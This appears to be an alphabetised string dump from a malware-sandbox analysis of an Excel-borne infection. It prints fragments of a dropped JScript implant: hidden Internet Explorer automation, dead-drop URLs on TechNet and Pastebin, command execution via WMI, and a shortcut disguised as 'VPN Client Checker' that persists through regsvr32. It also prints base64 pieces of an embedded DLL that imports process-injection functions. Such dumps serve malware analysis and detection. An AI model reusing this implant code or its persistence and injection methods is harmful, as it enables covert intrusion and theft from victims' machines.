Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetSystemDirectoryW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetSystemTimeAsFileTime
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetTempPathW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GetTickCount
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
GetUserNameA
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GlobalAlloc
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
GlobalFree
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
HeapSetInformation
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
i += 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
i += 3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
i = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
id : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
idleSecondBeforeFresh : 60*30,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
idleThisTime = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
idleTimes = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie = new ActiveXObject('InternetExplorer.Application');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Navigate(url, navNoHistory, "_self");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Refresh2(REFRESH_COMPLETELY);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Silent = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ie.Visible = this.bDebug;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (!this.pExists(pid)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (c < 128) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (c1 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c2 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c3 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c3 == 61) return out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c4 == -1) break;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (c4 == 61) return out;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (enc3 != 64) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (enc4 != 64) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (isNaN(chr2)) {
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (oFS.FolderExists(stDirs[i]))
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
if (outParams.ReturnValue == 0)
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (parseInt(minute) < 10){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if (parseInt(seconds) < 10){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!lines[i].length)continue;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!loginForm || !username || !password || !valicode || !submit){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!oExec.StdErr.AtEndOfStream)res+=oExec.StdErr.readAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!oExec.StdOut.AtEndOfStream)res+=oExec.StdOut.readAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!snd || !rcv || !down || !downBtn || !up || !upIdx)break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(!this.upOk){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(++i==9999)i=0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(accessToWrite){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(argArr.length==2){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(arr[i].toLowerCase()==item.toLowerCase())break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(codeRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(cookie && cookie.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(count>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(data && data.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(drv.IsReady){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i%(this.downInterval*2)==0 && down.innerText.length==0 && this.downIndex<this.downCount && this.oFS.FileExists(this.downFile)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i%(this.upInterval*2)==0 && upData.length>0 && this.upIndex<this.upCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(i<banderList.length-1)for(j=ele.length;j<maxLenList[i];++j)res+=splitChar;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(idleThisTime){++idleTimes;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(idleTimes/2==this.idleSecondBeforeFresh){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(j<banderList.length-1)for(k=ele.length;k<maxLenList[j];++k)res+=splitChar;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(jmpRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(len>maxLen)maxLen=len;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(method && method.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(mock==null)mock='regsvr32';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(oExec.status==WshFinished)break;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(oExec.status==WshRunning){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(ok){break;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(property.Value!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(proxy && proxy.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(putRes){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(query!=null && !this.inArray(queryArray,property.Name)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(query!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut<1)WScript.Sleep(1000);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut>0)iniFile.WriteLine('time=' + realTimeOut);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(realTimeOut>0)try{this.oFS.DeleteFile(mockOutPath);}catch(err){}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData.length>0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData.length>3){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(recvData==this.caseReauth){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(show)realShow = show;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bDebug){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bDeleteSelf){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.bMutex){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.downIndex==this.downCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.dstUrl==''){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.initCode!=''){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.osBit=='32'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(this.upIndex==this.upCount){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(timeout!=null)realTimeOut=timeout;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(timeout!=null){realSec=timeout;}
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(typeof(err)=='object'){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(username!=null && password!=null){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(waitTime<=0){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(workFlag){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
if(WScript.CreateBlockFile(this.downFile, this.downOnce, this.downIndex)){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iibirpr_in
Ansi based on Image Processing (screen_4.png)
inArray:function(arr, item){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownFile='+this.downFile+'\ndownSize='+this.downSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownOk='+this.downOk+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\ndownOnce='+this.downOnce+'\ndownInterval='+this.downInterval;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nPercent='+this.downIndex+'/'+this.downCount;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nPercent='+this.upIndex+'/'+this.upCount;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupFile='+this.upFile+'\nupSize='+this.upSize;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupOk='+this.upOk+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += '\nupOnce='+this.upOnce+'\nupInterval='+this.upInterval;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += 'downStart='+this.downStart+'\ndownEnd='+this.downEnd;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info += 'upStart='+this.upStart+'\nupEnd='+this.upEnd;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
info = lines[i].split('|');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile = this.oFS.CreateTextFile(mockIniPath, true);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('[cfg]');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('args=' + args);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('mock="'+ mock +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('outf="' + mockOutPath +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
iniFile.WriteLine('real="'+ real +'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initBase();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initBase:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initCode : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
InitMockDll32:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
InitMockDll64:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
initUrl : 'about:blank',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.CommandLine = CommandLine;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.CurrentDirectory = null;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
inParams.ProcessStartupInformation = startInfo;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Input
Unicode based on Runtime Data (EXCEL.EXE )
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
input = this._utf8_encode(input);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
InputError
Unicode based on Runtime Data (EXCEL.EXE )
InterlockedCompareExchange
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
InterlockedExchange
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
IsWow64Process
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
Item 1
Unicode based on Runtime Data (EXCEL.EXE )
IWScript
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
jmpRegex : /lkhd==ad=nf(.*?)=lkjf=kn/,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpRes = this.jmpRegex.exec(workIE.Document.documentElement.outerHTML);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpUrl: '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
jmpUrlList : ['https://social.technet.microsoft.com/Profile/technetxukbakupse','https://social.technet.microsoft.com/Profile/technetxuk','http://pastebin.com/RjN4aPYb'],
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
JScript
Unicode based on Dropped File (~HFYJEZHM.dll.305389)
kb:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
KERNEL32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
LastUILang
Unicode based on Runtime Data (EXCEL.EXE )
len = property.length;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
len = str.length;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
lines = this.getAllUserSid().split('\n');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.Arguments = '/s "'+tempDir+'\\'+randName+'.dll"';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.Arguments = args;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.Description = 'VPN Client Checker';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.IconLocation = 'notepad.exe, 0';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.Save();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.TargetPath = 'regsvr32';
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.TargetPath = target;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
link.WindowStyle = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
link.WindowStyle = Minimized;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
LoadLibraryExW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
LoadStringW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
LocalAlloc
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
loginAction : 'ajax.php',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
loginForm.action = this.loginAction;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
loginFormId : 'loginForm',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
LookupPrivilegeValueW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
lpTextWW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
lstrcmpiW
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
lstrcmpW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
lstrlenW
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
main:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
malloc
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
maxLen = bander.length + 2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
maxLenList = [];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
maxLenList[i] = maxLen;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
memset
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
method = proc.Methods_.Item('GetOwner');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
Micr0s0__cel
Ansi based on Image Processing (screen_4.png)
Minimized = 7;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
minute = "0" + minute;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mksc:function(path, target, args){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "//8A6LYFAACLTRCLVfBRUlONhcD4//9omCAAEFD/FXggABCNhcD4//+DxCCNUAGKCECEyXX5agCNTdBRK8JQjZXA+P//Ulb/FSAg";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "/2jUIAAQUf/Xg8RAjZUA+P//Uo2FAPD//1ZQi0UQ6Fj8//+DxAxoAIAAAGoAVov4/xUcIAAQhf90FYtFFIXAfgeL3+jz+///V/8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "5ItV6FFS/9CLR1CLTzSLVehqQGgAMAAAUFFS/xVIIAAQiUX4hcAPhPEAAACLV1SNTfxRi00MUotV6FFQUv8VaCAAEIXAD4S5AAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQIgAAJCIAADIiAABAIgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7FFTVldqAGoAagNqAGoBaAAAAIBQ/xUE";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAAAAAAAAAAUEUAAEwBBABHPrpTAAAAAAAAAADgAAIhCwEKAAAKAAAACgAAAAAAAIgXAAAAEAAAACAAAAAAABAAEAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAAAAQAAC4AAAAGTApMEAwUzBiMHIwiTCQMLwwyzDSMPgwBjEQMTYxWjF0MegxEzJUMooykTK7MsIy8zIcMzszQDNGM00z";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAAAAACAAAJgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAG8IAAAAEAAAAAoAAAAEAAAAAAAAAAAAAAAAAAAg";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAAAAEAAAMAucmVsb2MAABoBAAAAQAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AABgLnJkYXRhAADoBAAAACAAAAAGAAAADgAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAALAAAAAAwAAAAAgAAABQAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AABOdFVubWFwVmlld09mU2VjdGlvbgAAAABudGRsbC5kbGwAAAAlcyAlcwAAAE1vY2tNb2R1bGU9JXMKUmVhbENtZD0lcyAlcwpU";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AABtb2NrX3J1bjJfV2luMzIuZGxsAERsbFJlZ2lzdGVyU2VydmVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AACqIwAAviMAANojAADoIwAA/iMAAA4kAAAAAAAAKiQAAEAkAABIJAAAVCQAAF4kAABuJAAAeiQAAAAAAADXAUdldFRocmVhZENv";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AAIAAAUAAQAAAAAABQABAAAAAAAAUAAAAAQAAAAAAAACAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAkCQAAFgAAAA8IQAAPAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ABBW/xVkIAAQaMgCAACNhcT8//9qAFDoVwUAAItV7IPEDI2NwPz//1FSx4XA/P//BwABAP8VACAAEIXAD4RYAQAAi7Vk/f//i1Xo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AFQiAABmIgAAeCIAAI4iAACcIgAAqCIAALYiAADOIgAA3iIAAPIiAAAEIwAAGCMAACQjAAA2IwAARiMAAFgjAAB0IwAAhCMAAJQj";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AKojAAC+IwAA2iMAAOgjAAD+IwAADiQAAAAAAAAqJAAAQCQAAEgkAABUJAAAXiQAAG4kAAB6JAAAAAAAACVzClBJRD0lZAolcwAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "AOhgAwAAaP8HAACNjQH4//9qAFHGhQD4//8A6EYDAACLVQiLPXggABBTUo2FAPD//2jMIAAQUP/Xi00Ui1UMi0UIUVNSUI2NAPj/";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "aW1lT3V0PSVkCgoAAAAALmRsbAAAAAAuaW5pAAAAAG1vY2sAAAAAY2ZnAHJlYWwAAAAAYXJncwAAAABvdXRmAAAAAHRpbWUAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "aXJ0dWFsQWxsb2NFeAAAnAFHZXRQcml2YXRlUHJvZmlsZVN0cmluZ0EAAJgCUHJvY2VzczMyTmV4dAClAUdldFByb2Nlc3NJZAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "bnRleHQAAFMAQ3JlYXRlRmlsZUEAYwFHZXRGaWxlU2l6ZQBAA1NldFRocmVhZENvbnRleHQAABsDU2V0RmlsZVBvaW50ZXIAAJYC";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "c2VIYW5kbGUArQNXcml0ZVByb2Nlc3NNZW1vcnkAANICUmVzdW1lVGhyZWFkAACDAERlbGV0ZUZpbGVBAEtFUk5FTDMyLmRsbAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "c3MAlgFHZXRQcml2YXRlUHJvZmlsZUludEEAhANWaXJ0dWFsRnJlZUV4ALgCUmVhZFByb2Nlc3NNZW1vcnkAZgBDcmVhdGVQcm9j";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "cDOSM98zDjQ1ND80STRsNHU07zT8NBc1RzVgNXc1mzWvNdc13jX1Nfo1FDYZNiI2JzZBNkY2SzZlNmo2bzaJNo42kzajNqg2rjbn";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "DIN9DAB0EaEoMAAQhcB0CFdWU//QiUUMi0UMX15bXcIMAMz/JYAgABDMzMzM/yWQIAAQzMzMzMzMzMzMzFE9ABAAAI1MJAhyFIHp";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "DSEAEGgcIQAQaBghABD/1o2V+P7//1JoBQEAAI2F2Pr//1BoDSEAEGgkIQAQaBghABD/1o2N+P7//1FoBQEAAI2V4Pv//1JoDSEA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "eCEAAAAAAAAAAAAAHCQAAAAgAADwIQAAAAAAAAAAAAA0JAAAeCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECIAACQiAAAyIgAAQCIA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EGgsIQAQaBghABD/1o2F+P7//1BqAGg0IQAQaBghABD/FSggABBQjY3g+///UY2V8P3//1KNhej8//9QjY3Y+v//6L39//+DxBAz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EI1MJBCL8FFW/xUUIAAQhcB0JYs9UCAAEDlcJCh1DYtUJBhS6Hz///+DxASNRCQQUFb/14XAdeFW/xVkIAAQX15bi+Vdw8zMzMzM";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "EIXAdBU7ffx1EFb/FWQgABBfXovDW4vlXcNoAIAAAGoAU/8VHCAAEFb/FWQgABBfXjPAW4vlXcPMzMxVi+yD5PiB7CwBAABTi10I";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "fQFHZXRNb2R1bGVGaWxlTmFtZUEAAH8BR2V0TW9kdWxlSGFuZGxlQQAAcgBDcmVhdGVUb29saGVscDMyU25hcHNob3QAADQAQ2xv";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "FQwgABCLTexR/xVsIAAQi1XsUv8VZCAAEItF6F9eW4vlXcOLRfiFwHQSaACAAABqAFCLRehQ/xUsIAAQi03sizVkIAAQUf/Wi1Xo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "g+4E6+pQ/xV8IAAQgyUkMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9EDAAEADrJoP+AXQFg/4CdSKhKDAAEIXAdAlX";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "g8QMM8BTZolFvP8VcCAAEFZogAAAAGoCjU3UUWoDaAAAAEBTx0XUDAAAAIl12MdF3AEAAAD/FQQgABCL8DPAg/7/D4RgAgAAjVXo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "i+yB7EAHAABTi9iLRQxWM/a5TVoAAIl1+GY5CHQIXjPAW4vlXcNXi3g8A/iBP1BFAAAPhbkCAABqQI1VkFZSx0WMRAAAAOhUBgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "i0X8O0dUD4WtAAAAD7dPFDPSM9uNRDkYZjtXBnNBjXAQkIsGhcB0KItWBANVDI1N/FGLTehQi0b8A0X4UlBR/xVoIAAQhcB0cIsW";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "IAAQi/CD/v90cGoAVv8VCCAAEIv4g///dFlqBGgAMAAAV2oA/xVEIAAQi9iF23RDagBqAGoAVv8VECAAEGoAjU38UVdTVv8VPCAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "IQAQoAwhABCNjfj+//9RiRZoBQEAAI2V6Pz//1JoDSEAEGgQIQAQiEYEizVMIAAQaBghABD/1o2F+P7//1BoBQEAAI2N8P3//1Fo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "jUX8UGoEjU3kUYPGCFZSiXXg/xUwIAAQhcAPhC8BAACDffwED4UlAQAAi0XkO0c0dSFoqCAAEGjAIAAQ/xVcIAAQUP8VQCAAEItN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "Nu829TYANw03FTcjNyg3LTcyNz03SjdUN2k3dTd7N503rzcLOCg4MjgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "O1X8dWkPt0cGQ4PGKDvYfMaLdeCLReiNTfxRagSNVfhSVlD/FWggABCFwHRBg338BHU7i08oA034i0XsjZXA/P//UlCJjXD9////";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "oSQwABBoBDAAEGgAMAAQoyAwABDo6wAAAP8FEDAAEFlZ6z2FwHU5oSQwABCFwHQwiw0gMAAQVo1x/DvwchKLDoXJdAf/0aEkMAAQ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "sgJzcHJpbnRmAE1TVkNSVC5kbGwAAF4CZnJlZQAADwFfaW5pdHRlcm0AkQJtYWxsb2MAAJ0AX2FkanVzdF9mZGl2AADBAV9zdHJp";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "TM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABhlyPHJfZNlCX2TZQl9k2UXupBlCT2";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "TZRK6UmUJ/ZNlErpR5Qh9k2UpupDlCT2TZTm+RCUJvZNlCX2TJQD9k2UPmvilCb2TZQ+a9aUJPZNlD5r0JQk9k2UUmljaCX2TZQA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
